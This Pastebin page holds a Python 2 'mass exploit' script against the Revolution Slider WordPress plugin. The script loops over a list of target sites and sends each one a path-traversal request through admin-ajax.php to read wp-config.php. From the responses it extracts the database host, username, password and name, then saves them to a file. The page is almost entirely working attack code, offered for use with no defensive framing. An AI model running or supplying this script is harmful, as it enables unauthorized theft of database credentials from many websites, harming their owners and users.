Advertisement
rootma01

Mass Exploit Revslider [ GET CONFIG ]

Jun 30th, 2018
297
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.76 KB | None | 0 0
  1. import requests,re
  2. print """
  3. -------------------------------------------------------------------------
  4. _ __ ______
  5. | | / /___ _________/ / __ \________ __________
  6. | | /| / / __ \/ ___/ __ / /_/ / ___/ _ \/ ___/ ___/
  7. | |/ |/ / /_/ / / / /_/ / ____/ / / __(__ |__ )
  8. |__/|__/\____/_/ \__,_/_/ /_/ \___/____/____/
  9.  
  10. Revslider
  11. By SAHRA H4xOR
  12. -------------------------------------------------------------------------"""
  13.  
  14. lis = open('sites.txt','r').readlines()
  15. for site in lis:
  16. site = site.rstrip()
  17. try:
  18. Exp = 'http://' + site + \
  19. '/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php'
  20. GetConfig = requests.get(Exp, timeout=5)
  21. if 'DB_PASSWORD' in GetConfig.text.encode('utf-8'):
  22. print ('Path:Config_revslider.txt')
  23. with open('Config_revslider.txt', 'a') as ww:
  24. ww.write(' Config Path : ' + Exp + '\n')
  25. try:
  26. 0
  27. Gethost = re.findall("'DB_HOST', '(.*)'", GetConfig.text.encode('utf-8'))
  28. Getuser = re.findall("'DB_USER', '(.*)'", GetConfig.text.encode('utf-8'))
  29. Getpass = re.findall("'DB_PASSWORD', '(.*)'", GetConfig.text.encode('utf-8'))
  30. Getdb = re.findall("'DB_NAME', '(.*)'", GetConfig.text.encode('utf-8'))
  31. with open('Config_revslider.txt', 'a') as ww:
  32. ww.write(' Host: ' + Gethost[0] + '\n' + ' user: ' + Getuser[0] +'\n' + ' pass: ' + Getpass[0] + '\n' + ' DB: ' + Getdb[0] + '\n++++++++++++++++++n')
  33. except:
  34. print "0"
  35. except:
  36. print '0'
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement